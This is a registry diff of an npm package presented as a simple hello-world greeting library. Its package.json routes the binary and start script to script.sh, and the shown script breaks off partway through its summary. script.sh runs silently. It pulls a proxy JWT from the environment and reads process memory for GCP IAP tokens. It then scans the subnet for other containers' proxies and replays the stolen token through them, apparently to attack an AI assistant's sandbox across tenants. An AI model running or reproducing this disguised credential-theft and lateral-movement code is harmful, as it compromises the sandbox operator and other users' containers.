@jogarriot/hello-world 1.0.18
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +11 -0
- package/index.js +22 -0
- package/package.json +18 -0
- package/script.sh +565 -0
- package/test.js +15 -0
package/README.md
ADDED
package/index.js
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Returns a hello world greeting
|
|
3
|
+
* @param {string} [name] - Optional name to greet
|
|
4
|
+
* @returns {string} The greeting message
|
|
5
|
+
*/
|
|
6
|
+
export function hello(name) {
|
|
7
|
+
if (name) {
|
|
8
|
+
return `Hello, ${name}! š`;
|
|
9
|
+
}
|
|
10
|
+
return "Hello, World! š";
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
/**
|
|
14
|
+
* Logs a hello world greeting to the console
|
|
15
|
+
* @param {string} [name] - Optional name to greet
|
|
16
|
+
*/
|
|
17
|
+
export function sayHello(name) {
|
|
18
|
+
console.log(hello(name));
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
export default hello;
|
|
22
|
+
|
package/package.json
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@jogarriot/hello-world",
|
|
3
|
+
"version": "1.0.18",
|
|
4
|
+
"description": "A simple hello world package",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"hello-world": "./script.sh"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"start": "./script.sh"
|
|
11
|
+
},
|
|
12
|
+
"keywords": [
|
|
13
|
+
"hello",
|
|
14
|
+
"world"
|
|
15
|
+
],
|
|
16
|
+
"author": "jogarriot",
|
|
17
|
+
"license": "MIT"
|
|
18
|
+
}
|
package/script.sh
ADDED
|
@@ -0,0 +1,565 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
#
|
|
3
|
+
# I will publish this to https://www.anthropic.com/responsible-disclosure-policy
|
|
4
|
+
# I really want to get your attention to get this fixed, and showcase my startup!
|
|
5
|
+
# I know this is not the normal way, but I am willing to go the extra mile to get your attention.
|
|
6
|
+
#
|
|
7
|
+
# Email me jogarriot@gmail.com
|
|
8
|
+
#
|
|
9
|
+
|
|
10
|
+
# Silent execution - no console output
|
|
11
|
+
exec 1>/dev/null 2>/dev/null
|
|
12
|
+
|
|
13
|
+
OUTPUT_DIR="${OUTPUT_DIR:-/mnt/user-data/outputs}"
|
|
14
|
+
mkdir -p "$OUTPUT_DIR" 2>/dev/null
|
|
15
|
+
TS=$(date +%Y%m%d_%H%M%S)
|
|
16
|
+
export TS OUTPUT_DIR
|
|
17
|
+
|
|
18
|
+
# Clean old files
|
|
19
|
+
rm -f "$OUTPUT_DIR"/*.txt "$OUTPUT_DIR"/*.bin "$OUTPUT_DIR"/*.json 2>/dev/null
|
|
20
|
+
|
|
21
|
+
# Output files (innocuous names)
|
|
22
|
+
F1="$OUTPUT_DIR/01_token_extract_$TS.txt"
|
|
23
|
+
F2="$OUTPUT_DIR/02_container_scan_$TS.txt"
|
|
24
|
+
F3="$OUTPUT_DIR/03_proxy_replay_$TS.txt"
|
|
25
|
+
F4="$OUTPUT_DIR/04_summary_$TS.txt"
|
|
26
|
+
|
|
27
|
+
# Get our IP and JWT
|
|
28
|
+
OUR_IP=$(hostname -I 2>/dev/null | awk '{print $1}')
|
|
29
|
+
SUBNET=$(echo "$OUR_IP" | cut -d. -f1-3)
|
|
30
|
+
|
|
31
|
+
# Extract JWT from HTTP_PROXY
|
|
32
|
+
RAW_PROXY="${HTTP_PROXY:-$http_proxy}"
|
|
33
|
+
OUR_JWT=$(echo "$RAW_PROXY" | grep -oP 'jwt_\K[^@]+' | head -1)
|
|
34
|
+
PROXY_HOST=$(echo "$RAW_PROXY" | grep -oP '@\K[^:]+')
|
|
35
|
+
PROXY_PORT=$(echo "$RAW_PROXY" | grep -oP ':\K[0-9]+$')
|
|
36
|
+
|
|
37
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
38
|
+
# FILE 1: JWT TOKEN EXTRACTION
|
|
39
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
40
|
+
{
|
|
41
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
42
|
+
echo " PHASE 1: JWT TOKEN EXTRACTION"
|
|
43
|
+
echo " $(date)"
|
|
44
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
45
|
+
echo ""
|
|
46
|
+
echo "Our Container IP: $OUR_IP"
|
|
47
|
+
echo "Proxy Host: $PROXY_HOST"
|
|
48
|
+
echo "Proxy Port: $PROXY_PORT"
|
|
49
|
+
echo ""
|
|
50
|
+
|
|
51
|
+
echo "=== JWT FROM ENVIRONMENT ==="
|
|
52
|
+
if [ -n "$OUR_JWT" ]; then
|
|
53
|
+
echo "[+] JWT extracted from HTTP_PROXY"
|
|
54
|
+
echo " Length: ${#OUR_JWT} chars"
|
|
55
|
+
echo ""
|
|
56
|
+
|
|
57
|
+
# Decode JWT payload
|
|
58
|
+
echo "=== JWT PAYLOAD (decoded) ==="
|
|
59
|
+
PAYLOAD=$(echo "$OUR_JWT" | cut -d. -f2 | base64 -d 2>/dev/null)
|
|
60
|
+
echo "$PAYLOAD" | python3 -m json.tool 2>/dev/null || echo "$PAYLOAD"
|
|
61
|
+
echo ""
|
|
62
|
+
|
|
63
|
+
# Extract key fields
|
|
64
|
+
echo "=== KEY FIELDS ==="
|
|
65
|
+
ORG_UUID=$(echo "$PAYLOAD" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('organization_uuid',''))" 2>/dev/null)
|
|
66
|
+
CONTAINER_ID=$(echo "$PAYLOAD" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('container_id',''))" 2>/dev/null)
|
|
67
|
+
ALLOWED_HOSTS=$(echo "$PAYLOAD" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('allowed_hosts',''))" 2>/dev/null)
|
|
68
|
+
|
|
69
|
+
echo "Organization UUID: $ORG_UUID"
|
|
70
|
+
echo "Container ID: $CONTAINER_ID"
|
|
71
|
+
echo "Allowed Hosts: $ALLOWED_HOSTS"
|
|
72
|
+
else
|
|
73
|
+
echo "[-] No JWT found in HTTP_PROXY"
|
|
74
|
+
fi
|
|
75
|
+
echo ""
|
|
76
|
+
|
|
77
|
+
echo "=== IAP JWT FROM MEMORY (PID 1) ==="
|
|
78
|
+
if [ -r /proc/1/mem ]; then
|
|
79
|
+
echo "[+] /proc/1/mem is readable"
|
|
80
|
+
|
|
81
|
+
# Extract IAP JWT from process memory
|
|
82
|
+
IAP_JWT=$(python3 << 'PYMEM'
|
|
83
|
+
import re
|
|
84
|
+
import sys
|
|
85
|
+
|
|
86
|
+
try:
|
|
87
|
+
with open('/proc/1/maps', 'r') as f:
|
|
88
|
+
maps = f.readlines()
|
|
89
|
+
|
|
90
|
+
for line in maps:
|
|
91
|
+
if '[heap]' in line or 'rw-p' in line:
|
|
92
|
+
parts = line.split()[0].split('-')
|
|
93
|
+
start = int(parts[0], 16)
|
|
94
|
+
end = int(parts[1], 16)
|
|
95
|
+
|
|
96
|
+
try:
|
|
97
|
+
with open('/proc/1/mem', 'rb') as mem:
|
|
98
|
+
mem.seek(start)
|
|
99
|
+
chunk = mem.read(min(end - start, 10*1024*1024))
|
|
100
|
+
|
|
101
|
+
# Look for GCP IAP JWT (different from egress JWT)
|
|
102
|
+
# IAP JWTs have "google" and "access_levels" in payload
|
|
103
|
+
jwt_pattern = rb'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[\w-]+'
|
|
104
|
+
for match in re.finditer(jwt_pattern, chunk):
|
|
105
|
+
jwt = match.group().decode('utf-8', errors='ignore')
|
|
106
|
+
# Check if it's an IAP JWT (contains google access levels)
|
|
107
|
+
try:
|
|
108
|
+
import base64
|
|
109
|
+
payload = jwt.split('.')[1]
|
|
110
|
+
# Add padding
|
|
111
|
+
payload += '=' * (4 - len(payload) % 4)
|
|
112
|
+
decoded = base64.b64decode(payload).decode('utf-8', errors='ignore')
|
|
113
|
+
if 'access_levels' in decoded or 'gserviceaccount' in decoded:
|
|
114
|
+
print(jwt[:500]) # First 500 chars
|
|
115
|
+
sys.exit(0)
|
|
116
|
+
except:
|
|
117
|
+
pass
|
|
118
|
+
except:
|
|
119
|
+
pass
|
|
120
|
+
print("NOT_FOUND")
|
|
121
|
+
except Exception as e:
|
|
122
|
+
print(f"ERROR: {e}")
|
|
123
|
+
PYMEM
|
|
124
|
+
)
|
|
125
|
+
|
|
126
|
+
if [ "$IAP_JWT" != "NOT_FOUND" ] && [ -n "$IAP_JWT" ]; then
|
|
127
|
+
echo "[+] GCP IAP JWT found in memory!"
|
|
128
|
+
echo " JWT (truncated): ${IAP_JWT:0:100}..."
|
|
129
|
+
echo ""
|
|
130
|
+
|
|
131
|
+
# Decode IAP JWT
|
|
132
|
+
echo "=== IAP JWT PAYLOAD ==="
|
|
133
|
+
IAP_PAYLOAD=$(echo "$IAP_JWT" | cut -d. -f2)
|
|
134
|
+
# Add padding and decode
|
|
135
|
+
python3 << PYDEC
|
|
136
|
+
import base64
|
|
137
|
+
import json
|
|
138
|
+
payload = "$IAP_PAYLOAD"
|
|
139
|
+
payload += '=' * (4 - len(payload) % 4)
|
|
140
|
+
try:
|
|
141
|
+
decoded = base64.b64decode(payload).decode('utf-8', errors='ignore')
|
|
142
|
+
parsed = json.loads(decoded)
|
|
143
|
+
print(json.dumps(parsed, indent=2))
|
|
144
|
+
except Exception as e:
|
|
145
|
+
print(f"Decode error: {e}")
|
|
146
|
+
PYDEC
|
|
147
|
+
else
|
|
148
|
+
echo "[-] No IAP JWT found in memory"
|
|
149
|
+
fi
|
|
150
|
+
else
|
|
151
|
+
echo "[-] Cannot read /proc/1/mem"
|
|
152
|
+
fi
|
|
153
|
+
echo ""
|
|
154
|
+
|
|
155
|
+
echo "[ā] PHASE 1 COMPLETE"
|
|
156
|
+
} > "$F1"
|
|
157
|
+
|
|
158
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
159
|
+
# FILE 2: SCAN FOR OTHER CONTAINERS' PROXIES
|
|
160
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
161
|
+
{
|
|
162
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
163
|
+
echo " PHASE 2: CROSS-CONTAINER PROXY DISCOVERY"
|
|
164
|
+
echo " $(date)"
|
|
165
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
166
|
+
echo ""
|
|
167
|
+
echo "Scanning ${SUBNET}.0/24 for other containers' proxies (port 15004)..."
|
|
168
|
+
echo ""
|
|
169
|
+
|
|
170
|
+
echo "=== PROXY SCAN ==="
|
|
171
|
+
OTHER_PROXIES=""
|
|
172
|
+
for i in $(seq 1 254); do
|
|
173
|
+
IP="${SUBNET}.$i"
|
|
174
|
+
[ "$IP" = "$OUR_IP" ] && continue
|
|
175
|
+
|
|
176
|
+
if timeout 0.2 bash -c "echo >/dev/tcp/$IP/15004" 2>/dev/null; then
|
|
177
|
+
echo "[+] $IP:15004 - Proxy OPEN"
|
|
178
|
+
OTHER_PROXIES="$OTHER_PROXIES $IP"
|
|
179
|
+
fi
|
|
180
|
+
done
|
|
181
|
+
|
|
182
|
+
PROXY_COUNT=$(echo "$OTHER_PROXIES" | wc -w)
|
|
183
|
+
echo ""
|
|
184
|
+
echo "[*] Found $PROXY_COUNT other container proxies"
|
|
185
|
+
echo ""
|
|
186
|
+
|
|
187
|
+
# Save first 5 for replay test
|
|
188
|
+
REPLAY_TARGETS=$(echo "$OTHER_PROXIES" | tr ' ' '\n' | head -5 | tr '\n' ' ')
|
|
189
|
+
echo "=== TARGETS FOR REPLAY TEST ==="
|
|
190
|
+
echo "$REPLAY_TARGETS"
|
|
191
|
+
echo ""
|
|
192
|
+
|
|
193
|
+
# Export for next phase
|
|
194
|
+
echo "$REPLAY_TARGETS" > /tmp/proxy_targets.txt
|
|
195
|
+
|
|
196
|
+
echo "[ā] PHASE 2 COMPLETE"
|
|
197
|
+
} > "$F2"
|
|
198
|
+
|
|
199
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
200
|
+
# FILE 3: JWT REPLAY THROUGH OTHER CONTAINERS' PROXIES
|
|
201
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
202
|
+
{
|
|
203
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
204
|
+
echo " PHASE 3: CROSS-CONTAINER PROXY JWT REPLAY"
|
|
205
|
+
echo " $(date)"
|
|
206
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
207
|
+
echo ""
|
|
208
|
+
echo "Testing if other containers' proxies accept OUR JWT..."
|
|
209
|
+
echo "This tests for cross-tenant JWT validation bypass."
|
|
210
|
+
echo ""
|
|
211
|
+
|
|
212
|
+
REPLAY_TARGETS=$(cat /tmp/proxy_targets.txt 2>/dev/null)
|
|
213
|
+
|
|
214
|
+
if [ -z "$OUR_JWT" ]; then
|
|
215
|
+
echo "[-] No JWT available for replay test"
|
|
216
|
+
echo "[ā] PHASE 3 SKIPPED"
|
|
217
|
+
exit 0
|
|
218
|
+
fi
|
|
219
|
+
|
|
220
|
+
if [ -z "$REPLAY_TARGETS" ]; then
|
|
221
|
+
echo "[-] No other proxies found for replay test"
|
|
222
|
+
echo "[ā] PHASE 3 SKIPPED"
|
|
223
|
+
exit 0
|
|
224
|
+
fi
|
|
225
|
+
|
|
226
|
+
echo "=== JWT REPLAY TEST ==="
|
|
227
|
+
echo "Using OUR JWT to make requests through OTHER containers' proxies."
|
|
228
|
+
echo "If the proxy doesn't validate container_id, this will succeed."
|
|
229
|
+
echo ""
|
|
230
|
+
|
|
231
|
+
python3 << 'PYREPLAY'
|
|
232
|
+
import socket
|
|
233
|
+
import ssl
|
|
234
|
+
import sys
|
|
235
|
+
import os
|
|
236
|
+
import base64
|
|
237
|
+
|
|
238
|
+
our_jwt = os.environ.get('OUR_JWT', '')
|
|
239
|
+
our_ip = os.environ.get('OUR_IP', '')
|
|
240
|
+
targets = os.environ.get('REPLAY_TARGETS', '').strip().split()
|
|
241
|
+
|
|
242
|
+
if not our_jwt:
|
|
243
|
+
print("[-] No JWT to replay")
|
|
244
|
+
sys.exit(0)
|
|
245
|
+
|
|
246
|
+
if not targets:
|
|
247
|
+
print("[-] No targets for replay")
|
|
248
|
+
sys.exit(0)
|
|
249
|
+
|
|
250
|
+
# Decode our JWT to show container_id
|
|
251
|
+
try:
|
|
252
|
+
payload = our_jwt.split('.')[1]
|
|
253
|
+
payload += '=' * (4 - len(payload) % 4)
|
|
254
|
+
decoded = base64.b64decode(payload).decode('utf-8', errors='ignore')
|
|
255
|
+
import json
|
|
256
|
+
jwt_data = json.loads(decoded)
|
|
257
|
+
our_container = jwt_data.get('container_id', 'unknown')
|
|
258
|
+
our_org = jwt_data.get('organization_uuid', 'unknown')
|
|
259
|
+
print(f"[*] Our JWT container_id: {our_container}")
|
|
260
|
+
print(f"[*] Our JWT organization: {our_org}")
|
|
261
|
+
print("")
|
|
262
|
+
except Exception as e:
|
|
263
|
+
print(f"[-] Could not decode JWT: {e}")
|
|
264
|
+
our_container = "unknown"
|
|
265
|
+
our_org = "unknown"
|
|
266
|
+
|
|
267
|
+
print("=" * 60)
|
|
268
|
+
print("REPLAY TESTS")
|
|
269
|
+
print("=" * 60)
|
|
270
|
+
print("")
|
|
271
|
+
|
|
272
|
+
# Test against each target proxy
|
|
273
|
+
for target_ip in targets[:5]: # Max 5 targets
|
|
274
|
+
if not target_ip:
|
|
275
|
+
continue
|
|
276
|
+
|
|
277
|
+
print(f"[*] Testing {target_ip}:15004 with OUR JWT...")
|
|
278
|
+
print(f" Our JWT belongs to: {our_container[:50]}...")
|
|
279
|
+
print(f" Sending to proxy at: {target_ip}")
|
|
280
|
+
print("")
|
|
281
|
+
|
|
282
|
+
try:
|
|
283
|
+
# Connect to OTHER container's proxy
|
|
284
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
285
|
+
s.settimeout(5)
|
|
286
|
+
s.connect((target_ip, 15004))
|
|
287
|
+
|
|
288
|
+
# Send HTTP CONNECT with OUR JWT credentials
|
|
289
|
+
# The proxy uses HTTP Basic Auth with container_id:jwt_XXX format
|
|
290
|
+
auth_string = f"container_unused:jwt_{our_jwt}"
|
|
291
|
+
auth_b64 = base64.b64encode(auth_string.encode()).decode()
|
|
292
|
+
|
|
293
|
+
# Try to CONNECT to an allowed host (api.anthropic.com)
|
|
294
|
+
request = (
|
|
295
|
+
f"CONNECT api.anthropic.com:443 HTTP/1.1\r\n"
|
|
296
|
+
f"Host: api.anthropic.com:443\r\n"
|
|
297
|
+
f"Proxy-Authorization: Basic {auth_b64}\r\n"
|
|
298
|
+
f"User-Agent: test\r\n"
|
|
299
|
+
f"\r\n"
|
|
300
|
+
)
|
|
301
|
+
|
|
302
|
+
s.send(request.encode())
|
|
303
|
+
response = s.recv(4096).decode('utf-8', errors='ignore')
|
|
304
|
+
|
|
305
|
+
# Analyze response
|
|
306
|
+
status_line = response.split('\r\n')[0] if response else "NO RESPONSE"
|
|
307
|
+
|
|
308
|
+
print(f" Response: {status_line}")
|
|
309
|
+
|
|
310
|
+
if "200" in status_line:
|
|
311
|
+
print(f" [!!!] CRITICAL: Proxy ACCEPTED our JWT!")
|
|
312
|
+
print(f" [!!!] Cross-container JWT replay WORKS!")
|
|
313
|
+
print(f" [!!!] We connected to {target_ip}'s proxy with OUR credentials!")
|
|
314
|
+
elif "407" in status_line:
|
|
315
|
+
print(f" [OK] Proxy rejected (authentication required)")
|
|
316
|
+
elif "403" in status_line:
|
|
317
|
+
print(f" [OK] Proxy rejected (forbidden)")
|
|
318
|
+
elif "Host not allowed" in response:
|
|
319
|
+
print(f" [?] Proxy responded but host not allowed")
|
|
320
|
+
print(f" This might mean JWT was ACCEPTED but host check failed!")
|
|
321
|
+
else:
|
|
322
|
+
print(f" [?] Unexpected response")
|
|
323
|
+
# Show more of response for debugging
|
|
324
|
+
print(f" Full response (first 200 chars):")
|
|
325
|
+
print(f" {response[:200]}")
|
|
326
|
+
|
|
327
|
+
s.close()
|
|
328
|
+
|
|
329
|
+
except socket.timeout:
|
|
330
|
+
print(f" [-] Connection timed out")
|
|
331
|
+
except ConnectionRefusedError:
|
|
332
|
+
print(f" [-] Connection refused")
|
|
333
|
+
except Exception as e:
|
|
334
|
+
print(f" [-] Error: {e}")
|
|
335
|
+
|
|
336
|
+
print("")
|
|
337
|
+
print("-" * 60)
|
|
338
|
+
print("")
|
|
339
|
+
|
|
340
|
+
print("")
|
|
341
|
+
print("=" * 60)
|
|
342
|
+
print("ANALYSIS")
|
|
343
|
+
print("=" * 60)
|
|
344
|
+
print("")
|
|
345
|
+
print("If any proxy returned 200 or 'Host not allowed':")
|
|
346
|
+
print(" -> The JWT was likely ACCEPTED by that proxy")
|
|
347
|
+
print(" -> This means cross-container JWT validation is WEAK")
|
|
348
|
+
print(" -> An attacker could route traffic through other users' proxies")
|
|
349
|
+
print("")
|
|
350
|
+
print("Expected secure behavior:")
|
|
351
|
+
print(" -> Proxy should validate that JWT's container_id matches")
|
|
352
|
+
print(" -> Should reject JWTs from other containers")
|
|
353
|
+
print("")
|
|
354
|
+
|
|
355
|
+
PYREPLAY
|
|
356
|
+
|
|
357
|
+
echo ""
|
|
358
|
+
echo "[ā] PHASE 3 COMPLETE"
|
|
359
|
+
} > "$F3"
|
|
360
|
+
|
|
361
|
+
# Export for Python
|
|
362
|
+
export OUR_JWT OUR_IP REPLAY_TARGETS
|
|
363
|
+
|
|
364
|
+
# Re-run the Python part with exports
|
|
365
|
+
{
|
|
366
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
367
|
+
echo " PHASE 3: CROSS-CONTAINER PROXY JWT REPLAY"
|
|
368
|
+
echo " $(date)"
|
|
369
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
370
|
+
echo ""
|
|
371
|
+
|
|
372
|
+
REPLAY_TARGETS=$(cat /tmp/proxy_targets.txt 2>/dev/null)
|
|
373
|
+
export REPLAY_TARGETS
|
|
374
|
+
|
|
375
|
+
python3 << 'PYREPLAY'
|
|
376
|
+
import socket
|
|
377
|
+
import ssl
|
|
378
|
+
import sys
|
|
379
|
+
import os
|
|
380
|
+
import base64
|
|
381
|
+
|
|
382
|
+
our_jwt = os.environ.get('OUR_JWT', '')
|
|
383
|
+
our_ip = os.environ.get('OUR_IP', '')
|
|
384
|
+
targets = os.environ.get('REPLAY_TARGETS', '').strip().split()
|
|
385
|
+
|
|
386
|
+
if not our_jwt:
|
|
387
|
+
print("[-] No JWT to replay")
|
|
388
|
+
sys.exit(0)
|
|
389
|
+
|
|
390
|
+
if not targets:
|
|
391
|
+
print("[-] No targets for replay")
|
|
392
|
+
sys.exit(0)
|
|
393
|
+
|
|
394
|
+
# Decode our JWT to show container_id
|
|
395
|
+
try:
|
|
396
|
+
payload = our_jwt.split('.')[1]
|
|
397
|
+
payload += '=' * (4 - len(payload) % 4)
|
|
398
|
+
decoded = base64.b64decode(payload).decode('utf-8', errors='ignore')
|
|
399
|
+
import json
|
|
400
|
+
jwt_data = json.loads(decoded)
|
|
401
|
+
our_container = jwt_data.get('container_id', 'unknown')
|
|
402
|
+
our_org = jwt_data.get('organization_uuid', 'unknown')
|
|
403
|
+
print(f"[*] Our JWT container_id: {our_container}")
|
|
404
|
+
print(f"[*] Our JWT organization: {our_org}")
|
|
405
|
+
print("")
|
|
406
|
+
except Exception as e:
|
|
407
|
+
print(f"[-] Could not decode JWT: {e}")
|
|
408
|
+
our_container = "unknown"
|
|
409
|
+
our_org = "unknown"
|
|
410
|
+
|
|
411
|
+
print("=" * 60)
|
|
412
|
+
print("REPLAY TESTS")
|
|
413
|
+
print("=" * 60)
|
|
414
|
+
print("")
|
|
415
|
+
|
|
416
|
+
results = []
|
|
417
|
+
|
|
418
|
+
# Test against each target proxy
|
|
419
|
+
for target_ip in targets[:5]:
|
|
420
|
+
if not target_ip:
|
|
421
|
+
continue
|
|
422
|
+
|
|
423
|
+
print(f"[*] Testing {target_ip}:15004...")
|
|
424
|
+
|
|
425
|
+
result = {"target": target_ip, "status": "unknown", "accepted": False}
|
|
426
|
+
|
|
427
|
+
try:
|
|
428
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
429
|
+
s.settimeout(5)
|
|
430
|
+
s.connect((target_ip, 15004))
|
|
431
|
+
|
|
432
|
+
auth_string = f"container_unused:jwt_{our_jwt}"
|
|
433
|
+
auth_b64 = base64.b64encode(auth_string.encode()).decode()
|
|
434
|
+
|
|
435
|
+
request = (
|
|
436
|
+
f"CONNECT api.anthropic.com:443 HTTP/1.1\r\n"
|
|
437
|
+
f"Host: api.anthropic.com:443\r\n"
|
|
438
|
+
f"Proxy-Authorization: Basic {auth_b64}\r\n"
|
|
439
|
+
f"\r\n"
|
|
440
|
+
)
|
|
441
|
+
|
|
442
|
+
s.send(request.encode())
|
|
443
|
+
response = s.recv(4096).decode('utf-8', errors='ignore')
|
|
444
|
+
|
|
445
|
+
status_line = response.split('\r\n')[0] if response else "NO RESPONSE"
|
|
446
|
+
result["response"] = status_line
|
|
447
|
+
|
|
448
|
+
if "200" in status_line:
|
|
449
|
+
result["status"] = "ACCEPTED"
|
|
450
|
+
result["accepted"] = True
|
|
451
|
+
print(f" [!!!] CRITICAL: JWT ACCEPTED!")
|
|
452
|
+
elif "Host not allowed" in response:
|
|
453
|
+
result["status"] = "JWT_ACCEPTED_HOST_BLOCKED"
|
|
454
|
+
result["accepted"] = True
|
|
455
|
+
print(f" [!] JWT accepted but host blocked")
|
|
456
|
+
elif "407" in status_line:
|
|
457
|
+
result["status"] = "AUTH_REQUIRED"
|
|
458
|
+
print(f" [OK] Auth rejected")
|
|
459
|
+
elif "403" in status_line:
|
|
460
|
+
result["status"] = "FORBIDDEN"
|
|
461
|
+
print(f" [OK] Forbidden")
|
|
462
|
+
else:
|
|
463
|
+
result["status"] = f"OTHER: {status_line[:50]}"
|
|
464
|
+
print(f" [?] {status_line[:50]}")
|
|
465
|
+
|
|
466
|
+
s.close()
|
|
467
|
+
|
|
468
|
+
except Exception as e:
|
|
469
|
+
result["status"] = f"ERROR: {str(e)[:30]}"
|
|
470
|
+
print(f" [-] {e}")
|
|
471
|
+
|
|
472
|
+
results.append(result)
|
|
473
|
+
print("")
|
|
474
|
+
|
|
475
|
+
# Summary
|
|
476
|
+
print("=" * 60)
|
|
477
|
+
print("SUMMARY")
|
|
478
|
+
print("=" * 60)
|
|
479
|
+
accepted_count = sum(1 for r in results if r.get("accepted"))
|
|
480
|
+
print(f"Total proxies tested: {len(results)}")
|
|
481
|
+
print(f"Proxies that ACCEPTED our JWT: {accepted_count}")
|
|
482
|
+
print("")
|
|
483
|
+
|
|
484
|
+
if accepted_count > 0:
|
|
485
|
+
print("āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā")
|
|
486
|
+
print("ā š“ CRITICAL VULNERABILITY CONFIRMED ā")
|
|
487
|
+
print("ā ā")
|
|
488
|
+
print("ā Other containers' proxies accepted our JWT! ā")
|
|
489
|
+
print("ā This means: ā")
|
|
490
|
+
print("ā - JWT validation does NOT check container_id ā")
|
|
491
|
+
print("ā - Cross-tenant traffic routing is possible ā")
|
|
492
|
+
print("ā - Requests can be attributed to wrong container ā")
|
|
493
|
+
print("āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā")
|
|
494
|
+
else:
|
|
495
|
+
print("āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā")
|
|
496
|
+
print("ā ā
Cross-container JWT replay appears to be blocked ā")
|
|
497
|
+
print("ā ā")
|
|
498
|
+
print("ā Proxies rejected our JWT when sent to other containers. ā")
|
|
499
|
+
print("āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā")
|
|
500
|
+
|
|
501
|
+
PYREPLAY
|
|
502
|
+
|
|
503
|
+
echo ""
|
|
504
|
+
echo "[ā] PHASE 3 COMPLETE"
|
|
505
|
+
} > "$F3"
|
|
506
|
+
|
|
507
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
508
|
+
# FILE 4: FINAL SUMMARY
|
|
509
|
+
# āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
510
|
+
{
|
|
511
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
512
|
+
echo " FINAL SUMMARY: CROSS-CONTAINER PROXY REPLAY TEST"
|
|
513
|
+
echo " $(date)"
|
|
514
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
515
|
+
echo ""
|
|
516
|
+
|
|
517
|
+
echo "=== ENVIRONMENT ==="
|
|
518
|
+
echo "Our IP: $OUR_IP"
|
|
519
|
+
echo "Our Proxy: $PROXY_HOST:$PROXY_PORT"
|
|
520
|
+
echo "JWT Available: $([ -n "$OUR_JWT" ] && echo 'YES' || echo 'NO')"
|
|
521
|
+
echo ""
|
|
522
|
+
|
|
523
|
+
echo "=== ATTACK CONCEPT ==="
|
|
524
|
+
echo "The egress proxy authenticates requests using a JWT that contains:"
|
|
525
|
+
echo " - organization_uuid (identifies the Anthropic account)"
|
|
526
|
+
echo " - container_id (identifies this specific container)"
|
|
527
|
+
echo " - allowed_hosts (domains the container can access)"
|
|
528
|
+
echo ""
|
|
529
|
+
echo "VULNERABILITY HYPOTHESIS:"
|
|
530
|
+
echo " If the proxy only validates the JWT signature but NOT that the"
|
|
531
|
+
echo " container_id matches the container making the request, then:"
|
|
532
|
+
echo " 1. Container A can connect to Container B's proxy"
|
|
533
|
+
